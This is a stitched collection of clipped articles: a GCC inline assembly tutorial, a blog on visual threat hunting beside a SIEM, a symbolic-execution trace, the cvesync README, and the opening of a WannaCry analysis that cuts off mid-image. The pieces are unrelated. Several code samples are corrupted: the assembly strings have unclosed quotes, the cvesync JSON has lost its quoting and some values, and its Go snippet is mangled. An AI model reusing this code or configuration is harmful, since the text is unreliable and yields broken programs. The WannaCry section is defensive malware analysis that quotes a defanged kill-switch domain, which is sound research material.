  * In cases where input is read from a variable or the variable is modified and modification is written back to the same variable
  * In cases where separate instances of input and output operands are not necessary

The most important effect of using matching restraints is that they lead to
the efficient use of available registers.

Back to top

Examples of common inline assembly usage

The following examples illustrate usage through different operand constraints.
There are too many constraints to give examples for each one, but these are
the most frequently used constraint types.

**"asm" and the register constraint "r"**  
Let's first take a look at "asm" with the register constraint 'r'. Our example
shows how GCC allocates registers, and how it updates the value of output
variables.

[code]

             
            
    int main(void)
    {
            int x = 10, y;
            
            asm ("movl %1, %%eax;
                 "movl %%eax, %0;"
                    :"=r"(y)        /* y is output operand */
                    :"r"(x)         /* x is input operand */
                    :"%eax");       /* %eax is clobbered register */
    }
    
    
    
[/code]  
---  
  

In this example, the value of x is copied to y inside "asm". x and y are
passed to "asm" by being stored in registers. The assembly code generated for
this example looks like this:

[code]

                
            
        main:
            pushl %ebp
            movl %esp,%ebp
            subl $8,%esp
            movl $10,-4(%ebp)        
            movl -4(%ebp),%edx      /* x=10 is stored in %edx */
    #APP    /* asm starts here */   
            movl %edx, %eax         /* x is moved to %eax */
            movl %eax, %edx         /* y is allocated in edx and updated */
    
    #NO_APP /* asm ends here */
            movl %edx,-8(%ebp)      /* value of y in stack is updated with 
                                       the value in %edx */ 
    
    
[/code]  
---  
  

GCC is free here to allocate any register when the "r" constraint is used. In
our example it chose %edx for storing x. After reading the value of x in %edx,
it allocated the same register for y.

Since y is specified in the output operand section, the updated value in %edx
is stored in -8\(%ebp\), the location of y on stack. If y were specified in
the input section, the value of y on stack would not be updated, even though
it does get updated in the temporary register storage of y\(%edx\).

And since %eax is specified in the clobbered list, GCC doesn't use it anywhere
else to store data.

Both input x and output y were allocated in the same %edx register, assuming
that inputs are consumed before outputs are produced. Note that if you have a
lot of instructions, this may not be the case. To make sure that input and
output are allocated in different registers, we can specify the & constraint
modifier. Here is our example with the constraint modifier added.

[code]

       int main(void)
    {
            int x = 10, y;
            
            asm ("movl %1, %%eax;
                 "movl %%eax, %0;"
                    :"=&r"(y)   /* y is output operand, note the        
                                       & constraint modifier. */
                    :"r"(x)         /* x is input operand */
                    :"%eax");       /* %eax is clobbered register */
    }
    
    
[/code]  
---  
  

And here is the assembly code generated for this example, from which it is
evident that x and y have been stored in different registers across "asm".

[code]

        main:
            pushl %ebp
            movl %esp,%ebp
            subl $8,%esp
            movl $10,-4(%ebp)
            movl -4(%ebp),%ecx      /* x, the input is in %ecx */
    #APP
            movl %ecx, %eax
            movl %eax, %edx         /* y, the output is in %edx */
    
    #NO_APP
            movl %edx,-8(%ebp)
     
    
[/code]  
---  
  

Back to top

Use of specific register constraints

Now let's take a look at how to specify individual registers as constraints
for the operands. In the following example, the cpuid instruction takes the
input in the %eax register and gives output in four registers: %eax, %ebx,
%ecx, %edx. The input to cpuid \(the variable "op"\) is passed to "asm" in the
eax register, as cpuid expects it to. The a, b, c, and d constraints are used
in the output to collect the values in the four registers, respectively.

[code]

        asm ("cpuid"
                    : "=a" (_eax),
                      "=b" (_ebx),
                      "=c" (_ecx),
                      "=d" (_edx)
                    : "a" (op));
      
    
[/code]  
---  
  

And below you can see the generated assembly code for this \(assuming the
\_eax, \_ebx, etc.... variables are stored on stack\):

[code]

        movl -20(%ebp),%eax   /* store 'op' in %eax -- input */
    #APP
            cpuid
    #NO_APP
            movl %eax,-4(%ebp)      /* store %eax in _eax -- output */
            movl %ebx,-8(%ebp)      /* store other registers in
            movl %ecx,-12(%ebp)        respective output variables */  
            movl %edx,-16(%ebp)
    
    
[/code]  
---  
  

The strcpy function can be implemented using the "S" and "D" constraints in
the following manner:

[code]

        asm ("cld\n
                  rep\n
                  movsb"
                  : /* no input */
                  :"S"(src), "D"(dst), "c"(count));
    
    
[/code]  
---  
  

The source pointer src is put into %esi by using the "S" constraint, and the
destination pointer dst is put into %edi using the "D" constraint. The count
value is put into %ecx as it is needed by rep prefix.

And here you can see another constraint that uses the two registers %eax and
%edx to combine two 32-bit values and generate a 64-bit value:

[code]

    #define rdtscll(val) \
         __asm__ __volatile__ ("rdtsc" : "=A" (val))
    
    The generated assembly looks like this (if val has a 64 bit memory space).
    
    #APP
            rdtsc
    #NO_APP
            movl %eax,-8(%ebp)      /* As a result of A constraint 
            movl %edx,-4(%ebp)         %eax and %edx serve as outputs */
    
    Note here that the values in %edx:%eax serve as 64 bit output.
    
    
[/code]  
---  
  

Back to top

Using matching constraints

Here you can see the code for the system call, with four parameters:

[code]

    #define _syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
    type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
    { \
    long __res; \
    __asm__ volatile ("int $0x80" \
            : "=a" (__res) \
            : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
              "d" ((long)(arg3)),"S" ((long)(arg4))); \
    __syscall_return(type,__res); \
    }
    
    
[/code]  
---  
  

In the above example, four arguments to the system call are put into %ebx,
%ecx, %edx, and %esi by using the constraints b, c, d, and S. Note that the
"=a" constraint is used in the output so that the return value of the system
call, which is in %eax, is put into the variable \_\_res. By using the
matching constraint "0" as the first operand constraint in the input section,
the syscall number \_\_NR\_\#\#name is put into %eax and serves as the input
to the system call. Thus %eax serves here as both input and output register.
No separate registers are used for this purpose. Note also that the input
\(syscall number\) is consumed \(used\) before the output \(the return value
of syscall\) is produced.

Back to top

Use of memory operand constraint

Consider the following atomic decrement operation:

[code]

        __asm__ __volatile__(
                    "lock; decl %0"
                    :"=m" (counter)
                    :"m" (counter));
    
    
[/code]  
---  
  

The generated assembly for this would look something like this:

[code]

        #APP
            lock
            decl -24(%ebp) /* counter is modified on its memory location */
    #NO_APP.
    
    
[/code]  
---  
  

You might think of using the register constraint here for the counter. If you
do, the value of the counter must first be copied on to a register,
decremented, and then updated to its memory. But then you lose the whole
purpose of locking and atomicity, which clearly shows the necessity of using
the memory constraint.

Back to top

Using clobbered registers

Consider an elementary implementation of memory copy.

[code]

     asm ("movl $count, %%ecx;
                  up: lodsl;        
                  stosl;
                  loop up;"
                    :                       /* no output */
                    :"S"(src), "D"(dst)     /* input */
                    :"%ecx", "%eax" );      /* clobbered list */    
    
    
[/code]  
---  
  

While lodsl modifies %eax, the lodsl and stosl instructions use it implicitly.
And the %ecx register explicitly loads the count. But GCC won't know this
unless we inform it, which is exactly what we do by including %eax and %ecx in
the clobbered register set. Unless this is done, GCC assumes that %eax and
%ecx are free, and it may decide to use them for storing other data. Note here
that %esi and %edi are used by "asm", and are not in the clobbered list. This
is because it has been declared that "asm" will use them in the input operand
list. The bottom line here is that if a register is used inside "asm"
\(implicitly or explicitly\), and it is not present in either the input or
output operand list, you must list it as a clobbered register.

Back to top

Conclusion

On the whole, inline assembly is huge and provides a lot of features that we
did not even touch on here. But with a basic grasp of the material in this
article, you should be able to start coding inline assembly on your own.

  

Resources

  * Refer to the Using and Porting the GNU Compiler Collection \(GCC\) manual.  
  

  * Refer to the GNU Assembler \(GAS\) manual.  
  

  * Check out Brennan's Guide to Inline Assembly.  
  

About the author

Bharata B. Rao has a bachelor of Engineering in Electronics and Communication
from Mysore University, India. He has been working for IBM Global Services,
India since 1999. He is a member of the IBM Linux Technology Center, where he
concentrates primarily on Linux RAS \(Reliability, Availability, and
Serviceability\). Other areas of interest are operating system internals and
processor architecture. He can be reached at rbharata@in.ibm.com.

# Security Intelligence and Big Data | raffy.ch – blog » Hunting – The Visual Analytics Addition To Your SIEM To Find Real Attacks
**Created:**| _6/12/2015 4:27:46 PM_  
---|---  
**Updated:**| _6/12/2015 4:27:46 PM_  
**Author:**| __  
**Tags:**| _visualization_  
  

## Hunting – The Visual Analytics Addition To Your SIEM To Find Real Attacks

Filed under: Log Analysis,Security Intelligence,Visualization — Raffael Marty
@ 2:20 pm

Hunting in your security data is the process of using exploratory methods to
discover insights and hopefully finding attacks that have previously been
concealed. **Visualization** greatly simplifies and makes the exploratory
process more efficient.

In my previous post, I talked about SIEM use-cases. I outlined how I go about
defining detection use-cases. It’s not a linear process and it’s not something
that is the same for every company. That’s also a reason why I didn’t give you
a list of use-cases to implement in your SIEM. There are guidelines, but in
the end, you need to build a use-case repository unique to your organization.
In this post we are going to explore a bit more what that means and how a
‘**hunting** ‘ capability can help you with that.

There are three main approaches to implementing a use-case in a SIEM:

  * **Rules** : Some kind of deterministic set of conditions. For example: Find three consecutive failed logins between the same machines and using the same username.
  * **Simple statistics** : Leveraging simple statistical properties, such as standard deviations, means, medians, or correlation measures to characterize attacks or otherwise interesting behavior. A simple example would be to look at the volume of traffic between machines and finding instances where the volume deviates from the norm by more than two standard deviations.
  * **Behavioral models** : Often behavioral models are just slightly more complicated statistics. Scoring is often the bases of the models. The models often rely on classifications or regressions. On top of that you then define anomaly detectors that flag outliers. An example would be to look at the behavior of each user in your system. If their behavior changes, the model should flag that. Easier said than done.

I am not going into discussing how effective these above approaches are and
what the issues are with them. Let’s just assume they are effective and easy
to implement. \[I can’t resist: On anomaly detection: Just answer me this:
“What’s normal?” Oh, and don’t get lost in complicated data science.
Experience shows that simple statistics mostly yield the best output.\]

<img src='img/Temp2_7351.png' width='650' />

Let’s bring things back to visualization and see how that related to all of
this. I like to split visualization into two areas:

  * **Communication** : This is where you leverage visualization to communicate some property of your data. You already know what you want the viewer to focus on. This is often closely tied to metrics that help abstract the underlying data into something that can be put into a **dashboard**. Dashboards are meant to help the viewer gain an overview of what is happening; the overall state. Only in some very limited cases will you be able to use dashboards to actually discover some novel insight into your data. That’s not their main purpose.
  * **Exploration** : What is my data about? This is literal exploration where one leverages visualization to dig into the data to quickly understand it. Generally we don’t know what we are going to find. We don’t know our data and want to understand it as quickly as possible. We want _insights_.

From a visualization standpoint the two are very different as well. Visually
exploring data is done using more sophisticated visualizations, such as
parallel coordinates, heatmaps, link graphs, etc. Sometimes a bar or a line
chart might come in handy, but those are generally not “data-dense” enough.
Following are a couple more points about exploratory visualizations:

  * It important to understand that these approaches need very powerful backends or data stores to drive the visualizations. This is not Excel\!
  * Visualization is not enough. You also need a powerful way of translating your data into visualizations. Often this is simple aggregation, but in some cases, more sophisticated data mining comes in handy. Think clustering.
  * The exploratory process is all about finding unknowns. If you already knew what you are looking for, visualization might help you identify those instances quicker and easier, but generally you would leverage visualization to find the unknown unknowns. Once you identified them, you can then go ahead and implement those with one of the traditional approaches: rules, statistics, or behaviors in order to automate finding them in the future.
  * Some of the insights you will discover can’t be described in any of the above ways. The parameters are not clear or change ever so slightly. However, visually those outliers are quite apparent. In these cases, you should extend your analysis process to regularly have someone visualize the data to look for these instances.
  * You can absolutely try to explore your data without visualization. In some instances that might work out well. But careful; statistical summaries of your data will never tell you the full story \(see Anscombe’s Quartet – the four data series all have the same statistical summaries, but looking at the visuals, each of them tells a different story\). 

In cyber security \(or information security\), we have started calling the
exploratory process “**Hunting** “. This closes the loop to our SIEM use-
cases. Hunting is used to discover and define new detection use-cases. I see
security teams leverage hunting capabilities to do exactly that. Extending
their threat intelligence capabilities to find the more sophisticated
attackers that other tools wouldn’t be able to identify. Or maybe only partly,
but then in concert with other data sources, they are able to create a better,
more insightful picture.

In the context of hunting, a client lately asked the following questions: How
do you measure the efficiency of your hunting team? How do you justify a
hunting team opposite an ROI? And how do you assess the efficiency of analyst
A versus analyst B? I gave them the following three answers:

  * When running any **_red-teaming_** approach, how quickly is your hunting team able to find the attacks? Are they quicker than your SOC team?
  * Are your hunters better than your IDS? Or are they finding issues that your IDS already flagged? \(substitute IDS with any of your other detection mechanisms\)
  * How many incidents are reported to you from outside the security group? Does your hunting team bring those numbers down? If your hunting team wasn’t in place, would that number be even higher?
  * For each incident that is reported external to your security team, assess whether the hunt team should have found them. If not, figure out how to enable them to do that in the future.

Unfortunately, there are no great hunting tools out there. Especially when it
comes to leveraging visualization to do so. You will find people using some of
the BI tools to visualize traffic, build Hadoop-based backends to support the
data needs, etc. But in the end; these approaches don’t scale and won’t give
you satisfying visualization and in turn insights. But that’s what pixlcloud‘s
mission is. Get in touch\!

Put your hunting experience, stories, challenges, and insights into the
comments\! I wanna hear from you\!

# Symbolically Executing\!

**Created:**| _2/18/2013 2:44:10 PM_  
---|---  
**Updated:**| _2/18/2013 2:44:10 PM_  
**Author:**| __  
**Tags:**| _symbolic exec_  
  

# **S** ymbolically Executing\!

I've been working on a symbolic execution engine for a couple weeks now and
thought I would share the progress**.** I'll start with a basic flow of how
the execution engine works**.**  
  
First, we pass the filename of an executable to the VM**.** The VM calls a
loader on this file and the loader initializes the state of the VM**.** For
our example, the ELF loader will detect a 64-bit ELF, load the ELF, find the
NEEDED dynamic entries, load those, and do some simple relocation
patching**.**  
  
The ELF loader returns a memory model to the VM based on where things would
normally reside in memory**.** The ELF loader will also return initial
variables, as well as the variable which corresponds to the instruction
pointer**.** Finally, the ELF loader will return a translator which is
appropriate for the assembly language contained in the executable**.** In our
example, x86-64 assembly. This is all done entirely in the engine.  
  
The VM then begins fetching the bytes pointed to by the instruction pointer
from its memory model**.** It then calls the translator on these bytes. I went
with just-in-time translation to simplify the analysis of packed
executables**.** The intermediate language operates on operands, so the VM
translates to symbolic variables**.** The VM keeps something loosely
corresponding to a symbol table, so RAX will always refer to the same symbolic
variable**.** No SSA here.  
  
The VM then continues executing until, currently, an unimplemented feature
stops execution or it reaches the pre-determined number of instructions to
execute**.**  
  
What follows is some example output from the engine as it exists**.** You'll
see a map of the memory followed by the initial value of the variables
returned by the loader, as well as the x86 assembly names of those
registers**.** You'll then see instructions as they are fetched. The
translator will give us a native string representation of the instruction, and
then we'll see the IL the VM executes on**.** Finally, we'll see the final
state of registers.  
  
This is very much a work in progress and some of what you see may not be
correct**.**

[code]

    Memory mmap: 
    400000 size=40
    400040 size=1f8
    400238 size=1c
    400254 size=44
    400298 size=4a4
    40073c size=34
    400770 size=c4
    600e28 size=28
    600e50 size=190
    600fe0 size=20
    601000 size=38
    7f10000000000000 size=40
    7f10000000000040 size=230
    7f10000000000270 size=44
    7f100000000002b4 size=18211c
    7f100000001823d0 size=1c
    7f100000001823ec size=6874
    7f10000000188c60 size=293cc
    7f100000003b2710 size=70
    7f100000003b2780 size=33c0
    7f100000003b5b40 size=1e0
    7f100000003b5d20 size=67b8
    7f20000000000000 size=1c8
    7f200000000001c8 size=24
    7f200000000001ec size=1f3f4
    7f2000000001f5e0 size=66c
    7f2000000001fc4c size=2254
    7f20000000222b70 size=2b8
    7f20000000222e28 size=190
    7f20000000222fb8 size=48
    7f20000000223000 size=12c8
    7fff000000000000 size=10000
    
    UD_R_RAX=(64 0x0)
    UD_R_RBX=(64 0x0)
    UD_R_RCX=(64 0x0)
    UD_R_RDX=(64 0x0)
    UD_R_RDI=(64 0x0)
    UD_R_RSI=(64 0x0)
    UD_R_RBP=(64 0x7fff00000001000c)
    UD_R_RSP=(64 0x7fff00000000fff8)
    UD_R_R8=(64 0x0)
    UD_R_R9=(64 0x0)
    UD_R_R10=(64 0x0)
    UD_R_R11=(64 0x0)
    UD_R_R12=(64 0x0)
    UD_R_R13=(64 0x0)
    UD_R_R14=(64 0x0)
    UD_R_R15=(64 0x0)
    UD_R_RIP=(64 0x400480)
    
    step IP=400480 xor ebp, ebp 31 ed
    400480 xor     (VAR 32 UD_R_RBP) = (VAR 32 UD_R_RBP) ^ (VAR 32 UD_R_RBP)
    400480 assign  (VAR 32 UD_R_RBP) = (VAR 32 UD_R_RBP)
    step IP=400482 mov r9, rdx 49 89 d1
    400482 assign  (VAR 64 UD_R_R9) = (VAR 64 UD_R_RDX)
    step IP=400485 pop rsi 5e
    400485 load    (VAR 64 UD_R_RSI) = [(VAR 64 UD_R_RSP)]
    400485 add     (VAR 64 UD_R_RSP) = (VAR 64 UD_R_RSP) + (CONST 8 0x8)
    step IP=400486 mov rdx, rsp 48 89 e2
    400486 assign  (VAR 64 UD_R_RDX) = (VAR 64 UD_R_RSP)
    step IP=400489 and rsp, 0xf0 48 83 e4 f0
    400489 sext    (VAR 64 1004) <- (CONST 8 0xf0)
    400489 and     (VAR 64 1002) = (VAR 64 UD_R_RSP) & (VAR 64 1004)
    400489 assign  (VAR 1 OF) = (CONST 64 0x0)
    400489 assign  (VAR 1 CF) = (CONST 64 0x0)
    400489 cmpEq   (VAR 1 ZF) = (VAR 64 1002) == (CONST 64 0x0)
    400489 cmpLts  (VAR 1 SF) = (VAR 64 1002) < (CONST 64 0x0)
    400489 assign  (VAR 64 UD_R_RSP) = (VAR 64 1002)
    step IP=40048d push rax 50
    40048d sub     (VAR 64 UD_R_RSP) = (VAR 64 UD_R_RSP) - (CONST 8 0x8)
    40048d store   64[(VAR 64 UD_R_RSP)] = (VAR 64 UD_R_RAX)
    step IP=40048e push rsp 54
    40048e sub     (VAR 64 UD_R_RSP) = (VAR 64 UD_R_RSP) - (CONST 8 0x8)
    40048e store   64[(VAR 64 UD_R_RSP)] = (VAR 64 UD_R_RSP)
    step IP=40048f mov r8, 0x4006d0 49 c7 c0 d0 6 40 0
    40048f assign  (VAR 64 UD_R_R8) = (CONST 32 0x4006d0)
    step IP=400496 mov rcx, 0x400640 48 c7 c1 40 6 40 0
    400496 assign  (VAR 64 UD_R_RCX) = (CONST 32 0x400640)
    step IP=40049d mov rdi, 0x4005b6 48 c7 c7 b6 5 40 0
    40049d assign  (VAR 64 UD_R_RDI) = (CONST 32 0x4005b6)
    step IP=4004a4 call 0xffffffffffffffcc e8 c7 ff ff ff
    4004a4 sub     (VAR 64 UD_R_RSP) = (VAR 64 UD_R_RSP) - (CONST 8 0x8)
    4004a4 store   64[(VAR 64 UD_R_RSP)] = (VAR 64 UD_R_RIP)
    4004a4 sext    (VAR 64 100c) <- (CONST 32 0xffffffc7)
    4004a4 add     (VAR 64 UD_R_RIP) = (VAR 64 UD_R_RIP) + (VAR 64 100c)
    step IP=400470 jmp qword near [rip+0x200b9a] ff 25 9a b 20 0
    400470 add     (VAR 64 100e) = (VAR 64 UD_R_RIP) + (CONST 32 0x200b9a)
    400470 load    (VAR 64 100f) = [(VAR 64 100e)]
    400470 brc     (CONST 1 0x1) **?** (VAR 64 100f)
    step IP=7f10000000021680 push r14 41 56
    7f10000000021680 sub     (VAR 64 UD_R_RSP) = (VAR 64 UD_R_RSP) - (CONST 8 0x8)
    7f10000000021680 store   64[(VAR 64 UD_R_RSP)] = (VAR 64 UD_R_R14)
    step IP=7f10000000021682 push r13 41 55
    7f10000000021682 sub     (VAR 64 UD_R_RSP) = (VAR 64 UD_R_RSP) - (CONST 8 0x8)
    7f10000000021682 store   64[(VAR 64 UD_R_RSP)] = (VAR 64 UD_R_R13)
    step IP=7f10000000021684 push r12 41 54
    7f10000000021684 sub     (VAR 64 UD_R_RSP) = (VAR 64 UD_R_RSP) - (CONST 8 0x8)
    7f10000000021684 store   64[(VAR 64 UD_R_RSP)] = (VAR 64 UD_R_R12)
    step IP=7f10000000021686 push rbp 55
    7f10000000021686 sub     (VAR 64 UD_R_RSP) = (VAR 64 UD_R_RSP) - (CONST 8 0x8)
    7f10000000021686 store   64[(VAR 64 UD_R_RSP)] = (VAR 64 UD_R_RBP)
    step IP=7f10000000021687 push rbx 53
    7f10000000021687 sub     (VAR 64 UD_R_RSP) = (VAR 64 UD_R_RSP) - (CONST 8 0x8)
    7f10000000021687 store   64[(VAR 64 UD_R_RSP)] = (VAR 64 UD_R_RBX)
    step IP=7f10000000021688 mov rbx, rcx 48 89 cb
    7f10000000021688 assign  (VAR 64 UD_R_RBX) = (VAR 64 UD_R_RCX)
    step IP=7f1000000002168b sub rsp, 0x90 48 81 ec 90 0 0 0
    7f1000000002168b sub     (VAR 64 1017) = (VAR 64 UD_R_RSP) - (CONST 32 0x90)
    7f1000000002168b xor     (VAR 64 1018) = (VAR 64 1017) ^ (VAR 64 UD_R_RSP)
    7f1000000002168b shr     (VAR 1 OF) = (VAR 64 1018) >> (CONST 64 0x3f)
    7f1000000002168b cmpLtu  (VAR 1 CF) = (VAR 64 UD_R_RSP) < (VAR 64 1017)
    7f1000000002168b cmpEq   (VAR 1 ZF) = (VAR 64 1017) == (CONST 64 0x0)
    7f1000000002168b cmpLts  (VAR 1 SF) = (VAR 64 1017) < (CONST 64 0x0)
    7f1000000002168b assign  (VAR 64 UD_R_RSP) = (VAR 64 1017)
    step IP=7f10000000021692 mov rax, [rip+0x394877] 48 8b 5 77 48 39 0
    7f10000000021692 add     (VAR 64 101c) = (VAR 64 UD_R_RIP) + (CONST 32 0x394877)
    7f10000000021692 load    (VAR 64 UD_R_RAX) = [(VAR 64 101c)]
    step IP=7f10000000021699 mov [rsp+0x18], rdi 48 89 7c 24 18
    7f10000000021699 add     (VAR 64 101e) = (VAR 64 UD_R_RSP) + (CONST 8 0x18)
    7f10000000021699 store   64[(VAR 64 101e)] = (VAR 64 UD_R_RDI)
    step IP=7f1000000002169e mov [rsp+0x14], esi 89 74 24 14
    7f1000000002169e add     (VAR 64 1020) = (VAR 64 UD_R_RSP) + (CONST 8 0x14)
    7f1000000002169e store   32[(VAR 64 1020)] = (VAR 32 UD_R_RSI)
    step IP=7f100000000216a2 mov [rsp+0x8], rdx 48 89 54 24 8
    7f100000000216a2 add     (VAR 64 1022) = (VAR 64 UD_R_RSP) + (CONST 8 0x8)
    7f100000000216a2 store   64[(VAR 64 1022)] = (VAR 64 UD_R_RDX)
    step IP=7f100000000216a7 test rax, rax 48 85 c0
    7f100000000216a7 and     (VAR 64 1023) = (VAR 64 UD_R_RAX) & (VAR 64 UD_R_RAX)
    7f100000000216a7 cmpEq   (VAR 1 ZF) = (VAR 64 1023) == (CONST 64 0x0)
    7f100000000216a7 cmpLts  (VAR 1 SF) = (VAR 64 1023) < (CONST 64 0x0)
    7f100000000216a7 assign  (VAR 1 OF) = (CONST 64 0x0)
    7f100000000216a7 assign  (VAR 1 CF) = (CONST 64 0x0)
    step IP=7f100000000216aa jz dword 0xca f 84 c4 0 0 0
    7f100000000216aa sext    (VAR 64 1026) <- (CONST 32 0xc4)
    7f100000000216aa add     (VAR 64 1026) = (VAR 64 UD_R_RIP) + (VAR 64 1026)
    7f100000000216aa brc     (VAR 1 ZF) **?** (VAR 64 1026)
    step IP=7f10000000021774 xor edx, edx 31 d2
    7f10000000021774 xor     (VAR 32 UD_R_RDX) = (VAR 32 UD_R_RDX) ^ (VAR 32 UD_R_RDX)
    7f10000000021774 assign  (VAR 32 UD_R_RDX) = (VAR 32 UD_R_RDX)
    step IP=7f10000000021776 jmp 0xffffffffffffff43 e9 3e ff ff ff
    7f10000000021776 sext    (VAR 64 1029) <- (CONST 32 0xffffff3e)
    7f10000000021776 add     (VAR 64 1029) = (VAR 64 UD_R_RIP) + (VAR 64 1029)
    7f10000000021776 brc     (CONST 1 0x1) **?** (VAR 64 1029)
    step IP=7f100000000216b9 mov rax, [rip+0x394748] 48 8b 5 48 47 39 0
    7f100000000216b9 add     (VAR 64 102b) = (VAR 64 UD_R_RIP) + (CONST 32 0x394748)
    7f100000000216b9 load    (VAR 64 UD_R_RAX) = [(VAR 64 102b)]
    
    UD_R_RAX=(64 0x3b6060)
    UD_R_RBX=(32 0x400640)
    UD_R_RCX=(32 0x400640)
    UD_R_RDX=(32 0x0)
    UD_R_RDI=(32 0x4005b6)
    UD_R_RSI=(64 0x49fffffebe850f00)
    UD_R_RBP=(32 0x0)
    UD_R_RSP=(64 0x7fff00000000ff30)
    UD_R_R8=(32 0x4006d0)
    UD_R_R9=(64 0x0)
    UD_R_R10=(64 0x0)
    UD_R_R11=(64 0x0)
    UD_R_R12=(64 0x0)
    UD_R_R13=(64 0x0)
    UD_R_R14=(64 0x0)
    UD_R_R15=(64 0x0)
    UD_R_RIP=(64 0x7f100000000216c0)
    
[/code]

****

# mikkolehtisalo/cvesync · GitHub

**Created:**| _12/28/2014 11:56:15 AM_  
---|---  
**Updated:**| _12/28/2014 11:56:15 AM_  
**Author:**| __  
**Tags:**| _vulnerability_  
  

# Cvesync

##  Introduction

Accidentally disregarding known information-security vulnerabilities and
exposures may lead to dire consequences. Tracking CVEs reliably requires great
amount of work. Cvesync assists in previous by synchronizing new CVEs to an
issue management system. After that the workflow included within issue
management system can assist in the analysis, mitigation, and patching.

By default cvesync reads the modified feed provided by nvd, and updates to
either Jira or RT. The outcome looks something like this or this.

##  Installation

The following prerequisities should be met:

  * Golang 1.3+
  * sqlite3
  * \[go-sqlite3|github.com/mattn/go-sqlite3\]
  * \[blackjack/syslog|ithub.com/blackjack/syslog\]
  * Jira or RT

Cvesync can be built and installed with make:

[code]

    go get github.com/mikkolehtisalo/cvesync
    ...
    make
    sudo make install
[/code]

##  Configuration

The common options can be found from /opt/cvesync/etc/settings.json:

[code]

    {
        CAKeyFile: /opt/cvesync/etc/ca.crt,
        FeedURL: https://nvd.nist.gov/feeds/xml/cve/nvdcve-2.0-Modified.xml.gz,
        CWEfile: /opt/cvesync/etc/cwec_v2.8.xml,
        DBFile: /opt/cvesync/var/cvesync.sqlite
    }
[/code]

The CAKeyFile points to CA Certificate chain that is used for validating the
NVD's server. Before you run cvesync you should verify that it and the used
URL are valid.

Jira specific options can be found from /opt/cvesync/etc/jira.json:

[code]

    {
        BaseURL: http://dev.localdomain:8080,
        Username: admin,
        Password: password,
        Project: 10000,
        Issuetype: 10000,
        TemplateFile: /opt/cvesync/etc/jira.templ, 
        HighPriority: ,
        MediumPriority: ,
        LowPriority: 
    }
[/code]

It is recommended that you create separate user, project, priorities, and
issue type in Jira. Also it is recommendable to evaluate different workflows
for the vulnerability issue type. Also, make sure that the description field
renderer is Wiki Style Renderer instead of Default Text Renderer.

In order to synchronize to RT, you will have to change the tracker to Jira by
modifying main.go before installing the application.

[code]

     () {
        // ...
        //ts := tracker.Jira{}
          tracker.{}
    }
[/code]

RT specific options can be found from /opt/cvesync/etc/rt.json:

[code]

    {
        BaseURL: http://dev.localdomain,
        Username: ,
        Password: password,
        Queue: ,
        TemplateFile: /opt/cvesync/etc/rt.templ,
        HighPriority: ,
        MediumPriority: ,
        LowPriority: 
    }
    
[/code]

##  SELinux

A simple SELinux policy is included. To install it, use make:

[code]

    sudo make selinux
[/code]

##  Running

NVD's CVE feeds update at maximum once per two hours. Cvesync should most
likely be run daily via cron, for example:

[code]

    0 5    /opt/cvesync/bin/cvesync
[/code]

##  Notes

  * NVD recommends that the CVEs are classified with scale Low-Medium-High. Vulnerabilities with a base score in the range 7.0-10.0 are High, those in the range 4.0-6.9 as Medium, and 0-3.9 as Low.
  * CWE xml can be downloaded from http://cwe.mitre.org/data/index.html\#downloads . It doesn't update very often.
  * There is an interface \(_Tracker_\) for implementing other issue management systems
  * Logging is done to syslog facility DAEMON. If it is not meaningful to recover, the application panics.
  * Connection to Jira and RT is by default HTTP

# Automating the Extraction of WannaCry IOCs

**Created:**| _5/20/2017 8:56:08 PM_  
---|---  
**Updated:**| _5/20/2017 8:56:08 PM_  
**Author:**| __  
**Tags:**| _Detection Malware-analysis Defense_  
  

  

#  Automating the Extraction of WannaCry IOCs

May 17, 2017 Albert Lopez

__ __ __ __ __

<img src='img/img_20170517_181525.jpg__676x450_q85_crop-
smart_subsampling-2.jpg' width='748' height='498' />

## **Introduction**

Friday morning, UTC+1:00. Rumor has it that employees from a big Telecom
company in Spain are heading back home. Company loudspeaker recordings and
internal emails start being disclosed on the Internet where employees are
being told to shut down all the computers immediately.

<img
src='img/Yq3K99GtKxg4l-FSmQMAjNK5a8KspgfOI5955Q4zLg2bWRZFGW2S7KMO1vTXdfmV6DNRJ67mCW4E73mEDL5qXVAPhaujvcvSL14MJqwPmZJEZfi2d4U3dRRVfD52mDsb6K95oWMf.jpg'
width='456' height='358' alt='comunicado_pixelized.jpg' />

Internal email that told employees to shut down all the computers immediately

A while after, other big companies in Spain began experiencing a similar
situation which did not take long to extend to the rest of Europe, followed by
Asia and the USA as their respective business hours began for the day. What
seemed to be a targeted attack to specific large Spanish companies soon turned
out to be a major worldwide cyberattack.

WannaCry, the latest ransomware threat, was causing mayhem by spreading like a
plague through Windows systems all over the globe and encrypting important
files in its way. At AttackIQ we soon realized that this was not another
typical ransomware threat and spent some time analyzing it - here are the
results.

## **Analysis**

The sample analysis was done using radare2, which is a well known open source
reverse engineering framework. First steps involved looking at some specific
data of the binary such as strings to see relevant information \(e.g. urls,
mutexes…\), imports to know what API functions are being used by the malware,
exports to check if the program can provide functionalities to other software,
and resources to check if the binary has more information stored inside itself
\(images, executables, dlls…\).

This information allows us to make an initial guess of the capabilities of the
malware. In this case it revealed the existence of URLs and resources within
the executable file, both of which will be further explained in this post.

Starting with the detailed analysis, a quick look at the main function
revealed the existence of a URL
\(http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea\[.\]com\) that was
being passed to the InternetOpenUrlA call in order to connect to it. If the
sample was able to successfully connect to the URL it would do some cleanup
tasks and finish the execution. Otherwise, it would continue executing.

<img
src='img/RvRdDHE1F2gfN5KXsN_NUpIREHD2Wh1UIMx-9rd4-w3StWPapzXng5eHSJfLqmNKisCBVi6pzcwrfX3aOtGFfKvtZ9E66NnH8gGJ9jp-
tQkkwt9N7eXdGXt_p_0Hze-dXYA5pW9-.png' width='523' height='937'
alt='main_func.png' />

Given the described behavior, it was not hard to see that the URL acts as a
kill switch. That is, if the URL was reachable by the malware, it would close
the opened handles with InternetCloseHandle \(call esi\) and finish its
execution without performing any other malicious activities.

One of the many interesting features of radare2 is a view for displaying only
interesting instructions such as calls and strings among others, so applying
that view to the previous function we will obtain the following reduced basic
block graph that allows to quickly see the described behavior:

**<img src='img/jfQEpcdjUjZEY_bKP9eVmUMBTp1RumFvA073aN3ojqsfivs-FcJ-
QgzEjhrsylgGfqkKm8yhhZQFQ5FhkGGLn7JIJE3m-1HEuWBBcT2M4PtkOWl4NznUGs4XD1rzN8vtUMDRcV4W.png'
